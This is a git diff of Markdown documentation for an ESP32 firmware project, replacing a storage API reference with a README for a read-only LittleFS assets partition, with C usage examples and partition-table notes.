size)` | Truncates file to specified size. | +| `esp_err_t storage_file_compare(const char *p1, const char *p2, bool *equal)` | Compares two files for equality. | + +### Information + +```c +// File information structure +typedef struct { + char path[256]; // Full path to file + size_t size; // File size in bytes + time_t modified_time; // Last modification time (Unix timestamp) + time_t created_time; // Creation time (Unix timestamp) + bool is_directory; // True if this is a directory + bool is_hidden; // True if hidden file + bool is_readonly; // True if read-only +} storage_file_info_t; +``` + +| Function | Description | +|----------|-------------| +| `esp_err_t storage_file_get_size(const char *path, size_t *size)` | Gets file size in bytes. | +| `esp_err_t storage_file_is_empty(const char *path, bool *empty)` | Checks if a file is empty. | +| `esp_err_t storage_file_get_info(const char *path, storage_file_info_t *info)` | Gets detailed info (size, times, attributes). | +| `esp_err_t storage_file_get_extension(const char *path, char *ext, size_t size)` | Extracts file extension. | + +--- + +## Reading Data + +Header: `storage_read.h` + +The API provides various ways to read data depending on your needs. + +### Strings & Binary + +```c +// Read entire file into a string buffer (null-terminated) +char buffer[128]; +storage_read_string("/config/settings.txt", buffer, sizeof(buffer)); + +// Read binary data +uint8_t data[64]; +size_t bytes_read; +storage_read_binary("/data/image.bin", data, sizeof(data), &bytes_read); + +// Read chunk from specific offset +storage_read_chunk("/data/large.bin", 1024, data, sizeof(data), &bytes_read); +``` + +### Line-by-Line + +```c +// Read specific line (1-based index) +char line[64]; +storage_read_line("/logs/system.log", line, sizeof(line), 5); + +// Read first/last line helpers +storage_read_first_line("/logs/system.log", line, sizeof(line)); +storage_read_last_line("/logs/system.log", line, sizeof(line)); + +// Iterate over all lines using a callback +void my_line_callback(const char *line, void *user_data) { + printf("Read line: %s\n", line); +} +storage_read_lines("/data/list.txt", my_line_callback, NULL); + +// Count lines in file +uint32_t count; +storage_count_lines("/data/list.txt", &count); +``` + +### Typed Data + +```c +int32_t count; +storage_read_int("/config/boot_count", &count); + +float temperature; +storage_read_float("/config/temp_threshold", &temperature); + +uint8_t byte; +storage_read_byte("/data/flag", &byte); + +uint8_t bytes[16]; +size_t num_bytes; +storage_read_bytes("/data/raw", bytes, sizeof(bytes), &num_bytes); +``` + +### Search Operations + +```c +// Check if file contains a string +bool found; +storage_file_contains("/logs/events.log", "ERROR", &found); + +// Count occurrences of a string +uint32_t count; +storage_count_occurrences("/logs/events.log", "WARNING", &count); +``` + +--- + +## Writing Data + +Header: `storage_write.h` + +All write functions automatically create parent directories if they don't exist (recursive mkdir). + +### Strings & Binary + +```c +// Write (overwrite) a string to a file +storage_write_string("/data/status.txt", "System Ready"); + +// Append to a file +storage_append_string("/logs/app.log", "Event occurred"); + +// Write binary data +uint8_t raw_data[] = {0x01, 0x02, 0x03}; +storage_write_binary("/data/blob.bin", raw_data, sizeof(raw_data)); + +// Append binary data +storage_append_binary("/data/stream.bin", raw_data, sizeof(raw_data)); +``` + +### Line-Based Writing + +```c +// Write single line with newline +storage_write_line("/data/entry.txt", "First entry"); + +// Append line with newline +storage_append_line("/logs/events.log", "Event occurred at 12:00"); +``` + +### Formatted Output + +Similar to `printf`, useful for logs or human-readable data. + +```c +storage_write_formatted("/logs/info.txt", "Boot count: %d\nTime: %u", count, timestamp); +storage_append_formatted("/logs/events.log", "[INFO] Sensor %s: %.2f\n", sensor_name, value); +``` + +### Typed Data + +```c +// Write integer +storage_write_int("/config/counter", 42); + +// Write float +storage_write_float("/config/threshold", 3.14159); + +// Write single byte +storage_write_byte("/data/flag", 0xFF); + +// Write byte array +uint8_t data[] = {0xDE, 0xAD, 0xBE, 0xEF}; +storage_write_bytes("/data/magic", data, sizeof(data)); +``` + +### CSV Support + +Helper for writing structured data. + +```c +const char *header[] = {"Timestamp", "Value", "Unit"}; +storage_write_csv_row("/data/sensors.csv", header, 3); +// Writes: Timestamp,Value,Unit\n + +const char *row[] = {"1234567890", "23.5", "°C"}; +storage_append_csv_row("/data/sensors.csv", row, 3); +// Appends: 1234567890,23.5,°C\n +``` + +--- + +## Directory Operations + +Header: `storage_impl.h` + +| Function | Description | +|----------|-------------| +| `esp_err_t storage_dir_create(const char *path)` | Creates a directory. | +| `esp_err_t storage_dir_remove(const char *path)` | Removes an empty directory. | +| `esp_err_t storage_dir_remove_recursive(const char *path)` | Removes a directory and all contents. | +| `bool storage_dir_exists(const char *path)` | Checks if directory exists. | +| `esp_err_t storage_dir_is_empty(const char *path, bool *empty)` | Checks if directory is empty. | +| `esp_err_t storage_dir_list(const char *path, storage_dir_callback_t cb, void *user_data)` | Lists directory contents via callback. | +| `esp_err_t storage_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count)` | Counts files and subdirectories. | + +**Note**: `storage_dir_copy_recursive()` and `storage_dir_get_size()` return `ESP_ERR_NOT_SUPPORTED` (not yet implemented). + +### Directory Listing Example + +```c +void list_callback(const char *name, bool is_dir, void *user_data) { + printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); +} + +storage_dir_list("/data", list_callback, NULL); +``` + +--- + +## Storage Information + +Header: `storage_impl.h` + +Monitor storage usage and health. + +```c +// Print detailed usage report to log +storage_print_info_detailed(); + +// Get complete storage information +storage_info_t info; +storage_get_info(&info); +printf("Backend: %s\n", info.backend_name); +printf("Mount: %s\n", info.mount_point); +printf("Total: %llu bytes\n", info.total_bytes); + +// Get individual values +uint64_t total, free, used; +storage_get_total_space(&total); +storage_get_free_space(&free); +storage_get_used_space(&used); + +// Get usage percentage +float percent; +storage_get_usage_percent(&percent); + +// Get backend information +const char *backend = storage_get_backend_type(); +const char *mount = storage_get_mount_point_str(); +``` + +--- + +## Helper Functions + +Header: `storage_mkdir.h` + +```c +// Create directory path recursively (used internally by write functions) +esp_err_t storage_mkdir_recursive(const char *path); +``` + +This function creates all parent directories as needed. It's automatically called by write operations, but can be used directly when needed. + +--- + +## Example Usage + +```c +#include "storage_init.h" +#include "storage_impl.h" +#include "storage_read.h" +#include "storage_write.h" +#include "storage_dirs.h" + +void app_main() { + // Initialize storage (calls vfs_init_auto internally) + if (storage_init() != ESP_OK) { + printf("Storage init failed!\n"); + return; + } + + // Check for config file + if (storage_file_exists(STORAGE_DIR_CONFIG "/settings.json")) { + char config[1024]; + storage_read_string(STORAGE_DIR_CONFIG "/settings.json", config, sizeof(config)); + // Process config... + } else { + // Create default config + storage_write_string(STORAGE_DIR_CONFIG "/settings.json", "{ \"defaults\": true }"); + } + + // Log startup event with timestamp + storage_append_formatted(STORAGE_DIR_LOGS "/boot.log", + "System started at %lu\n", xTaskGetTickCount()); + + // Write sensor data to CSV + const char *header[] = {"Time", "Temp", "Humidity"}; + storage_write_csv_row(STORAGE_DIR_DATA "/sensors.csv", header, 3); + + const char *data[] = {"12:00", "23.5", "65"}; + storage_append_csv_row(STORAGE_DIR_DATA "/sensors.csv", data, 3); + + // Check storage health + float usage; + storage_get_usage_percent(&usage); + printf("Storage usage: %.1f%%\n", usage); + + // List directory contents + uint32_t files, dirs; + storage_dir_count(STORAGE_DIR_DATA, &files, &dirs); + printf("Data directory: %lu files, %lu subdirectories\n", files, dirs); +} +``` + +--- + +## Best Practices + +1. **Always use relative paths** - Let the API handle mount points +2. **Use directory macros** - `STORAGE_DIR_CONFIG` instead of hardcoded `"/config"` +3. **Check return values** - All functions return `esp_err_t` for error handling +4. **Monitor storage** - Use `storage_get_usage_percent()` to prevent full disk +5. **Use appropriate read functions** - Line-by-line for logs, binary for images +6. **Automatic directory creation** - Write functions create parent directories automatically +7. **Path flexibility** - Relative paths (`/config/file.txt`) or full mount paths both work + +--- + +## Error Handling + +All functions return `esp_err_t` values. Common return codes: + +- `ESP_OK` - Operation successful +- `ESP_ERR_INVALID_ARG` - Invalid argument (NULL pointer, invalid size) +- `ESP_ERR_INVALID_STATE` - Storage not mounted +- `ESP_FAIL` - General failure (file not found, I/O error, etc.) +- `ESP_ERR_NOT_FOUND` - Item not found (used by some search functions) +- `ESP_ERR_NOT_SUPPORTED` - Feature not implemented + +Always check return values: + ```c esp_err_t ret = storage_write_string("/config/test.txt", "data"); if (ret != ESP_OK) { diff --git a/docs/storage_api/c5.md b/docs/storage_api/c5.md deleted file mode 100644 index 227b42b36..000000000 --- a/docs/storage_api/c5.md +++ /dev/null @@ -1,449 +0,0 @@ -# Storage API - -The **Storage API** provides a unified, backend-agnostic interface for file system operations in the Highboy project. It abstracts the underlying storage mechanism (LittleFS, SD Card, etc.), allowing developers to perform file and directory operations using a consistent set of functions without worrying about low-level details or mount points. - -## Features - -- **Unified Interface**: Same API for internal flash (LittleFS) and external SD cards. -- **Backend Abstraction**: Uses VFS layer underneath, works with any configured backend. -- **Automatic Path Resolution**: Automatically handles mount points - use relative paths. -- **Robustness**: Includes safety checks, recursive directory creation, and error handling. -- **High-Level Helpers**: Easy reading/writing of strings, lines, formatted text, and CSV data. - ---- - -## Architecture - -``` -Application Code - ↓ - Storage API ← You are here (recommended layer) - ↓ - VFS Core ← Backend abstraction - ↓ - SD Card / LittleFS / SPIFFS -``` - -**Dependencies:** -- Requires `vfs_core` to be initialized -- Backend selection is done in `vfs_config.h` - ---- - -## Initialization - -Before performing any operations, the storage system must be initialized. - -```c -#include "storage_init.h" - -// Initialize the storage system -// This calls vfs_init_auto() internally -esp_err_t ret = storage_init(); -if (ret != ESP_OK) { - // Handle error -} - -// Check if mounted -if (storage_is_mounted()) { - // Ready to use -} - -// Deinitialize when done (rarely needed for main application) -storage_deinit(); -``` - -### Default Directory Structure - -The storage system automatically creates a standard directory tree on initialization: - -``` -/ (e.g., /sdcard or /littlefs) -├── config/ - Configuration files -├── data/ - Application data -├── logs/ - Log files -├── cache/ - Temporary cache -├── temp/ - Temporary files -├── backup/ - Backup files -├── certs/ - SSL/TLS certificates -├── scripts/ - Script files -└── captive_portal/ - Captive portal files -``` - -These directories are defined in `storage_dirs.h` and can be accessed via macros: - -```c -#include "storage_dirs.h" - -// Macros automatically include the mount point -// Example: STORAGE_DIR_CONFIG expands to "/sdcard/config" or "/littlefs/config" - -// Write to config directory -storage_write_string(STORAGE_DIR_CONFIG "/settings.json", json_data); - -// Append to logs -storage_append_formatted(STORAGE_DIR_LOGS "/system.log", "[%lu] Event\n", timestamp); - -// Save backup -storage_file_copy(STORAGE_DIR_DATA "/important.dat", STORAGE_DIR_BACKUP "/important.dat"); -``` - -**Path Handling:** -- All Storage API functions accept **relative paths** (e.g., `/config/file.txt`) -- Mount point is automatically prepended internally -- You can use either `"/config/file.txt"` or `STORAGE_DIR_CONFIG "/file.txt"` -- Paths starting with `/` are treated as relative to mount point -- Paths already containing the mount point are used as-is - -**Note**: Directory creation is non-critical. If any directory fails to create, initialization continues successfully, and you can create directories manually later as needed. - ---- - -## File Operations - -Header: `storage_impl.h` - -### Basic Management - -| Function | Description | -|----------|-------------| -| `bool storage_file_exists(const char *path)` | Checks if a file exists. | -| `esp_err_t storage_file_delete(const char *path)` | Deletes a file. | -| `esp_err_t storage_file_rename(const char *old, const char *new)` | Renames or moves a file. | -| `esp_err_t storage_file_copy(const char *src, const char *dst)` | Copies a file. | -| `esp_err_t storage_file_move(const char *src, const char *dst)` | Moves a file (same as rename). | -| `esp_err_t storage_file_clear(const char *path)` | Clears file content (truncates to 0). | -| `esp_err_t storage_file_truncate(const char *path, size_t size)` | Truncates file to specified size. | -| `esp_err_t storage_file_compare(const char *p1, const char *p2, bool *equal)` | Compares two files for equality. | - -### Information - -```c -// File information structure -typedef struct { - char path[256]; // Full path to file - size_t size; // File size in bytes - time_t modified_time; // Last modification time (Unix timestamp) - time_t created_time; // Creation time (Unix timestamp) - bool is_directory; // True if this is a directory - bool is_hidden; // True if hidden file - bool is_readonly; // True if read-only -} storage_file_info_t; -``` - -| Function | Description | -|----------|-------------| -| `esp_err_t storage_file_get_size(const char *path, size_t *size)` | Gets file size in bytes. | -| `esp_err_t storage_file_is_empty(const char *path, bool *empty)` | Checks if a file is empty. | -| `esp_err_t storage_file_get_info(const char *path, storage_file_info_t *info)` | Gets detailed info (size, times, attributes). | -| `esp_err_t storage_file_get_extension(const char *path, char *ext, size_t size)` | Extracts file extension. | - ---- - -## Reading Data - -Header: `storage_read.h` - -The API provides various ways to read data depending on your needs. - -### Strings & Binary - -```c -// Read entire file into a string buffer (null-terminated) -char buffer[128]; -storage_read_string("/config/settings.txt", buffer, sizeof(buffer)); - -// Read binary data -uint8_t data[64]; -size_t bytes_read; -storage_read_binary("/data/image.bin", data, sizeof(data), &bytes_read); - -// Read chunk from specific offset -storage_read_chunk("/data/large.bin", 1024, data, sizeof(data), &bytes_read); -``` - -### Line-by-Line - -```c -// Read specific line (1-based index) -char line[64]; -storage_read_line("/logs/system.log", line, sizeof(line), 5); - -// Read first/last line helpers -storage_read_first_line("/logs/system.log", line, sizeof(line)); -storage_read_last_line("/logs/system.log", line, sizeof(line)); - -// Iterate over all lines using a callback -void my_line_callback(const char *line, void *user_data) { - printf("Read line: %s\n", line); -} -storage_read_lines("/data/list.txt", my_line_callback, NULL); - -// Count lines in file -uint32_t count; -storage_count_lines("/data/list.txt", &count); -``` - -### Typed Data - -```c -int32_t count; -storage_read_int("/config/boot_count", &count); - -float temperature; -storage_read_float("/config/temp_threshold", &temperature); - -uint8_t byte; -storage_read_byte("/data/flag", &byte); - -uint8_t bytes[16]; -size_t num_bytes; -storage_read_bytes("/data/raw", bytes, sizeof(bytes), &num_bytes); -``` - -### Search Operations - -```c -// Check if file contains a string -bool found; -storage_file_contains("/logs/events.log", "ERROR", &found); - -// Count occurrences of a string -uint32_t count; -storage_count_occurrences("/logs/events.log", "WARNING", &count); -``` - ---- - -## Writing Data - -Header: `storage_write.h` - -All write functions automatically create parent directories if they don't exist (recursive mkdir). - -### Strings & Binary - -```c -// Write (overwrite) a string to a file -storage_write_string("/data/status.txt", "System Ready"); - -// Append to a file -storage_append_string("/logs/app.log", "Event occurred"); - -// Write binary data -uint8_t raw_data[] = {0x01, 0x02, 0x03}; -storage_write_binary("/data/blob.bin", raw_data, sizeof(raw_data)); - -// Append binary data -storage_append_binary("/data/stream.bin", raw_data, sizeof(raw_data)); -``` - -### Line-Based Writing - -```c -// Write single line with newline -storage_write_line("/data/entry.txt", "First entry"); - -// Append line with newline -storage_append_line("/logs/events.log", "Event occurred at 12:00"); -``` - -### Formatted Output - -Similar to `printf`, useful for logs or human-readable data. - -```c -storage_write_formatted("/logs/info.txt", "Boot count: %d\nTime: %u", count, timestamp); -storage_append_formatted("/logs/events.log", "[INFO] Sensor %s: %.2f\n", sensor_name, value); -``` - -### Typed Data - -```c -// Write integer -storage_write_int("/config/counter", 42); - -// Write float -storage_write_float("/config/threshold", 3.14159); - -// Write single byte -storage_write_byte("/data/flag", 0xFF); - -// Write byte array -uint8_t data[] = {0xDE, 0xAD, 0xBE, 0xEF}; -storage_write_bytes("/data/magic", data, sizeof(data)); -``` - -### CSV Support - -Helper for writing structured data. - -```c -const char *header[] = {"Timestamp", "Value", "Unit"}; -storage_write_csv_row("/data/sensors.csv", header, 3); -// Writes: Timestamp,Value,Unit\n - -const char *row[] = {"1234567890", "23.5", "°C"}; -storage_append_csv_row("/data/sensors.csv", row, 3); -// Appends: 1234567890,23.5,°C\n -``` - ---- - -## Directory Operations - -Header: `storage_impl.h` - -| Function | Description | -|----------|-------------| -| `esp_err_t storage_dir_create(const char *path)` | Creates a directory. | -| `esp_err_t storage_dir_remove(const char *path)` | Removes an empty directory. | -| `esp_err_t storage_dir_remove_recursive(const char *path)` | Removes a directory and all contents. | -| `bool storage_dir_exists(const char *path)` | Checks if directory exists. | -| `esp_err_t storage_dir_is_empty(const char *path, bool *empty)` | Checks if directory is empty. | -| `esp_err_t storage_dir_list(const char *path, storage_dir_callback_t cb, void *user_data)` | Lists directory contents via callback. | -| `esp_err_t storage_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count)` | Counts files and subdirectories. | - -**Note**: `storage_dir_copy_recursive()` and `storage_dir_get_size()` return `ESP_ERR_NOT_SUPPORTED` (not yet implemented). - -### Directory Listing Example - -```c -void list_callback(const char *name, bool is_dir, void *user_data) { - printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); -} - -storage_dir_list("/data", list_callback, NULL); -``` - ---- - -## Storage Information - -Header: `storage_impl.h` - -Monitor storage usage and health. - -```c -// Print detailed usage report to log -storage_print_info_detailed(); - -// Get complete storage information -storage_info_t info; -storage_get_info(&info); -printf("Backend: %s\n", info.backend_name); -printf("Mount: %s\n", info.mount_point); -printf("Total: %llu bytes\n", info.total_bytes); - -// Get individual values -uint64_t total, free, used; -storage_get_total_space(&total); -storage_get_free_space(&free); -storage_get_used_space(&used); - -// Get usage percentage -float percent; -storage_get_usage_percent(&percent); - -// Get backend information -const char *backend = storage_get_backend_type(); -const char *mount = storage_get_mount_point_str(); -``` - ---- - -## Helper Functions - -Header: `storage_mkdir.h` - -```c -// Create directory path recursively (used internally by write functions) -esp_err_t storage_mkdir_recursive(const char *path); -``` - -This function creates all parent directories as needed. It's automatically called by write operations, but can be used directly when needed. - ---- - -## Example Usage - -```c -#include "storage_init.h" -#include "storage_impl.h" -#include "storage_read.h" -#include "storage_write.h" -#include "storage_dirs.h" - -void app_main() { - // Initialize storage (calls vfs_init_auto internally) - if (storage_init() != ESP_OK) { - printf("Storage init failed!\n"); - return; - } - - // Check for config file - if (storage_file_exists(STORAGE_DIR_CONFIG "/settings.json")) { - char config[1024]; - storage_read_string(STORAGE_DIR_CONFIG "/settings.json", config, sizeof(config)); - // Process config... - } else { - // Create default config - storage_write_string(STORAGE_DIR_CONFIG "/settings.json", "{ \"defaults\": true }"); - } - - // Log startup event with timestamp - storage_append_formatted(STORAGE_DIR_LOGS "/boot.log", - "System started at %lu\n", xTaskGetTickCount()); - - // Write sensor data to CSV - const char *header[] = {"Time", "Temp", "Humidity"}; - storage_write_csv_row(STORAGE_DIR_DATA "/sensors.csv", header, 3); - - const char *data[] = {"12:00", "23.5", "65"}; - storage_append_csv_row(STORAGE_DIR_DATA "/sensors.csv", data, 3); - - // Check storage health - float usage; - storage_get_usage_percent(&usage); - printf("Storage usage: %.1f%%\n", usage); - - // List directory contents - uint32_t files, dirs; - storage_dir_count(STORAGE_DIR_DATA, &files, &dirs); - printf("Data directory: %lu files, %lu subdirectories\n", files, dirs); -} -``` - ---- - -## Best Practices - -1. **Always use relative paths** - Let the API handle mount points -2. **Use directory macros** - `STORAGE_DIR_CONFIG` instead of hardcoded `"/config"` -3. **Check return values** - All functions return `esp_err_t` for error handling -4. **Monitor storage** - Use `storage_get_usage_percent()` to prevent full disk -5. **Use appropriate read functions** - Line-by-line for logs, binary for images -6. **Automatic directory creation** - Write functions create parent directories automatically -7. **Path flexibility** - Relative paths (`/config/file.txt`) or full mount paths both work - ---- - -## Error Handling - -All functions return `esp_err_t` values. Common return codes: - -- `ESP_OK` - Operation successful -- `ESP_ERR_INVALID_ARG` - Invalid argument (NULL pointer, invalid size) -- `ESP_ERR_INVALID_STATE` - Storage not mounted -- `ESP_FAIL` - General failure (file not found, I/O error, etc.) -- `ESP_ERR_NOT_FOUND` - Item not found (used by some search functions) -- `ESP_ERR_NOT_SUPPORTED` - Feature not implemented - -Always check return values: - -```c -esp_err_t ret = storage_write_string("/config/test.txt", "data"); -if (ret != ESP_OK) { - ESP_LOGE(TAG, "Write failed: %s", esp_err_to_name(ret)); -} -``` \ No newline at end of file diff --git a/docs/storage_assets/README.md b/docs/storage_assets/README.md new file mode 100644 index 000000000..0d84294fc --- /dev/null +++ b/docs/storage_assets/README.md @@ -0,0 +1,1244 @@ +# P4 + +This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. + +## Overview + +- **Location:** `components/Service/storage_assets/` +- **Main Header:** `include/storage_assets.h` +- **Implementation:** `storage_assets.c` +- **Dependencies:** `esp_littlefs`, `esp_vfs` +- **Partition:** `assets` (LittleFS, read-only in production) + +## Key Features + +- **Dedicated Partition:** Separate from application code and main storage. +- **LittleFS Backend:** Efficient wear-leveling filesystem optimized for flash. +- **Read-Only Access:** Assets are flashed once and cannot be modified at runtime. +- **Auto-Discovery:** Automatically lists all files in partition on initialization. +- **Memory Management:** Helper function to load entire files with automatic allocation. +- **Directory Traversal:** Recursive directory listing for debugging. + +## Typical Use Cases + +- **Graphical Assets:** Logos, icons, sprites, bitmaps for displays. +- **Fonts:** Pre-compiled font files for text rendering. +- **Configuration Templates:** Default configuration files. +- **Audio Samples:** Short sound effects or melodies. +- **IR/RF Databases:** Preloaded signal databases. +- **Firmware Resources:** Any read-only data needed by the application. + +## Configuration + +### Partition Table + +The assets partition must be defined in your partition table (`partitions.csv`): + +```csv +# Name, Type, SubType, Offset, Size, Flags +nvs, data, nvs, 0x9000, 0x6000, +phy_init, data, phy, 0xf000, 0x1000, +factory, app, factory, 0x10000, 1M, +assets, data, spiffs, 0x110000, 512K, +storage, data, spiffs, 0x190000, 1M, +``` + +**Important Notes:** +- The SubType must be `spiffs` (even though we use LittleFS - this is an ESP-IDF quirk). +- Size should be sufficient for all your assets (adjust as needed). +- The partition must be flashed before use. + +### Constants + +```c +#define ASSETS_MOUNT_POINT "/assets" +#define ASSETS_PARTITION_LABEL "assets" +``` + +These are defined internally and cannot be changed without modifying the source. + +--- + +## API Reference + +### Initialization + +#### `storage_assets_init` + +```c +esp_err_t storage_assets_init(void); +``` + +Initializes and mounts the assets partition. Must be called before any other asset operations. + +**Behavior:** +- Mounts the LittleFS partition at `/assets`. +- Formats the partition if mounting fails (useful for first flash). +- Lists all files in the partition for debugging. +- Displays partition size and usage statistics. + +**Returns:** +- `ESP_OK` - Assets partition mounted successfully. +- `ESP_ERR_NOT_FOUND` - Partition 'assets' not found in partition table. +- `ESP_FAIL` - Mount or format failed. +- `ESP_ERR_INVALID_STATE` - Already initialized. + +**Example:** +```c +void app_main(void) { + esp_err_t ret = storage_assets_init(); + if (ret == ESP_OK) { + printf("Assets ready!\n"); + } else if (ret == ESP_ERR_NOT_FOUND) { + printf("ERROR: 'assets' partition not found!\n"); + printf("Check your partition table.\n"); + } else { + printf("Assets init failed: %s\n", esp_err_to_name(ret)); + } +} +``` + +**Console Output Example:** +``` +I (1234) storage_assets: Initializing LittleFS for assets partition +I (1245) storage_assets: Assets ready at /assets +I (1246) storage_assets: Partition size: 524288 bytes, used: 12345 bytes +I (1247) storage_assets: === Files in assets partition === +I (1248) storage_assets: [1] logo.bin (1200 bytes) +I (1249) storage_assets: [DIR] fonts/ +I (1250) storage_assets: [2] arial.ttf (45000 bytes) +I (1251) storage_assets: [3] config_template.json (567 bytes) +I (1252) storage_assets: Total: 3 file(s), 1 dir(s) +I (1253) storage_assets: ================================ +``` + +--- + +#### `storage_assets_deinit` + +```c +esp_err_t storage_assets_deinit(void); +``` + +Unmounts the assets partition and releases resources. + +**Returns:** +- `ESP_OK` - Unmounted successfully. +- `ESP_ERR_INVALID_STATE` - Not initialized. + +**Example:** +```c +// Before system shutdown +storage_assets_deinit(); +``` + +--- + +#### `storage_assets_is_mounted` + +```c +bool storage_assets_is_mounted(void); +``` + +Checks if the assets partition is currently mounted. + +**Returns:** +- `true` - Partition is mounted and ready. +- `false` - Partition is not mounted. + +**Example:** +```c +if (!storage_assets_is_mounted()) { + storage_assets_init(); +} +``` + +--- + +### File Access + +#### `storage_assets_get_file_size` + +```c +esp_err_t storage_assets_get_file_size(const char *filename, size_t *out_size); +``` + +Gets the size of a file in the assets partition without reading it. + +**Parameters:** +- `filename` - Name of the file (e.g., "logo.bin", "fonts/arial.ttf"). +- `out_size` - Pointer to store file size in bytes. + +**Returns:** +- `ESP_OK` - Size retrieved successfully. +- `ESP_ERR_INVALID_STATE` - Assets not initialized. +- `ESP_ERR_INVALID_ARG` - NULL parameters. +- `ESP_ERR_NOT_FOUND` - File doesn't exist. + +**Example:** +```c +size_t logo_size; +if (storage_assets_get_file_size("logo.bin", &logo_size) == ESP_OK) { + printf("Logo is %zu bytes\n", logo_size); + + // Allocate buffer of exact size + uint8_t *buffer = malloc(logo_size); +} +``` + +--- + +#### `storage_assets_read_file` + +```c +esp_err_t storage_assets_read_file(const char *filename, uint8_t *buffer, size_t size, size_t *out_read); +``` + +Reads file content into a pre-allocated buffer. + +**Parameters:** +- `filename` - Name of the file. +- `buffer` - Pre-allocated buffer to receive data. +- `size` - Maximum bytes to read (buffer size). +- `out_read` - Pointer to store actual bytes read (can be NULL). + +**Returns:** +- `ESP_OK` - File read successfully. +- `ESP_ERR_INVALID_STATE` - Assets not initialized. +- `ESP_ERR_INVALID_ARG` - Invalid parameters. +- `ESP_ERR_NOT_FOUND` - File doesn't exist. + +**Example:** +```c +uint8_t buffer[2048]; +size_t bytes_read; + +esp_err_t ret = storage_assets_read_file("config.json", buffer, sizeof(buffer), &bytes_read); +if (ret == ESP_OK) { + buffer[bytes_read] = '\0'; // Null-terminate if text + printf("Config: %s\n", (char *)buffer); +} else { + printf("Failed to read config: %s\n", esp_err_to_name(ret)); +} +``` + +--- + +#### `storage_assets_load_file` + +```c +uint8_t* storage_assets_load_file(const char *filename, size_t *out_size); +``` + +Loads an entire file into dynamically allocated memory. **Caller must free() the returned pointer.** + +**Parameters:** +- `filename` - Name of the file. +- `out_size` - Pointer to store file size (can be NULL). + +**Returns:** +- Pointer to allocated buffer containing file data. +- `NULL` on error (allocation failure, file not found, etc.). + +**Example:** +```c +size_t image_size; +uint8_t *image_data = storage_assets_load_file("splash_screen.bin", &image_size); + +if (image_data != NULL) { + // Use the image data + display_draw_bitmap(image_data, image_size); + + // IMPORTANT: Free when done! + free(image_data); +} else { + printf("Failed to load splash screen\n"); +} +``` + +**Memory Warning:** This function allocates heap memory. Ensure sufficient heap is available before loading large files. + +--- + +### Utility Functions + +#### `storage_assets_get_mount_point` + +```c +const char* storage_assets_get_mount_point(void); +``` + +Returns the mount point path for the assets partition. + +**Returns:** +- Constant string "/assets". + +**Example:** +```c +const char *mount = storage_assets_get_mount_point(); + +// Construct full path +char full_path[128]; +snprintf(full_path, sizeof(full_path), "%s/%s", mount, "config.json"); + +// Use with standard file operations +FILE *f = fopen(full_path, "r"); +``` + +--- + +#### `storage_assets_print_info` + +```c +void storage_assets_print_info(void); +``` + +Prints detailed information about the assets partition to the console. + +**Parameters:** None + +**Returns:** Nothing (void) + +**Example Output:** +``` +I (1234) storage_assets: === Assets Partition Info === +I (1235) storage_assets: Mount point: /assets +I (1236) storage_assets: Partition: assets +I (1237) storage_assets: Total size: 524288 bytes (512.00 KB) +I (1238) storage_assets: Used: 98765 bytes (96.45 KB) +I (1239) storage_assets: Free: 425523 bytes (415.55 KB) +I (1240) storage_assets: Usage: 18.8% +``` + +**Usage:** +```c +// During debugging or diagnostics +storage_assets_print_info(); +``` + +--- + +## Implementation Details + +### Directory Listing + +The component includes a recursive directory listing function that runs automatically during initialization: + +```c +static void list_directory_recursive(const char *path, const char *prefix, + int *file_count, int *dir_count); +``` + +This helps during development to verify that assets were flashed correctly. + +### Path Handling + +All file operations internally prepend the mount point: + +```c +// User provides: "logo.bin" +// Internally becomes: "/assets/logo.bin" +``` + +Subdirectories are supported: +```c +// User provides: "fonts/arial.ttf" +// Internally becomes: "/assets/fonts/arial.ttf" +``` + +### Error Handling + +All functions validate: +- Initialization state +- Parameter validity +- File existence +- Memory allocation success + +Always check return values to ensure robust operation. + +--- + +## Usage Patterns + +### Loading a Bitmap for Display + +```c +void display_splash_screen(void) { + size_t image_size; + uint8_t *image = storage_assets_load_file("splash.bin", &image_size); + + if (image == NULL) { + ESP_LOGE(TAG, "Failed to load splash screen"); + return; + } + + // Expected format: 128x64 monochrome bitmap + if (image_size != (128 * 64) / 8) { + ESP_LOGW(TAG, "Unexpected image size: %zu", image_size); + } + + // Send to display + oled_draw_bitmap(0, 0, image, 128, 64); + + // Clean up + free(image); +} +``` + +--- + +### Loading Configuration Template + +```c +cJSON* load_default_config(void) { + uint8_t *json_data = storage_assets_load_file("config_template.json", NULL); + if (json_data == NULL) { + return NULL; + } + + cJSON *config = cJSON_Parse((const char *)json_data); + free(json_data); + + return config; +} +``` + +--- + +### Preloading Assets at Boot + +```c +typedef struct { + uint8_t *logo_data; + size_t logo_size; + uint8_t *font_data; + size_t font_size; +} app_assets_t; + +app_assets_t g_assets = {0}; + +esp_err_t preload_assets(void) { + // Load logo + g_assets.logo_data = storage_assets_load_file("logo.bin", &g_assets.logo_size); + if (g_assets.logo_data == NULL) { + return ESP_FAIL; + } + + // Load font + g_assets.font_data = storage_assets_load_file("font.bin", &g_assets.font_size); + if (g_assets.font_data == NULL) { + free(g_assets.logo_data); + return ESP_FAIL; + } + + ESP_LOGI(TAG, "Assets preloaded (%zu + %zu bytes)", + g_assets.logo_size, g_assets.font_size); + + return ESP_OK; +} + +void cleanup_assets(void) { + free(g_assets.logo_data); + free(g_assets.font_data); + memset(&g_assets, 0, sizeof(g_assets)); +} +``` + +--- + +### Chunked Reading for Large Files + +```c +esp_err_t process_large_asset(const char *filename) { + FILE *f = fopen("/assets/large_file.dat", "rb"); + if (!f) { + return ESP_FAIL; + } + + uint8_t chunk[512]; + size_t bytes_read; + + while ((bytes_read = fread(chunk, 1, sizeof(chunk), f)) > 0) { + // Process chunk + process_data(chunk, bytes_read); + } + + fclose(f); + return ESP_OK; +} +``` + +--- + +### Conditional Asset Loading + +```c +void load_language_assets(const char *language) { + char filename[64]; + snprintf(filename, sizeof(filename), "strings_%s.json", language); + + uint8_t *strings = storage_assets_load_file(filename, NULL); + if (strings == NULL) { + ESP_LOGW(TAG, "Language '%s' not found, using default", language); + strings = storage_assets_load_file("strings_en.json", NULL); + } + + if (strings != NULL) { + parse_language_strings((const char *)strings); + free(strings); + } +} +``` + +--- + +## Flashing Assets + +### Option 1: Automatic (Recommended) + +Add to your `CMakeLists.txt`: + +```cmake +# Create assets partition image from 'assets' folder 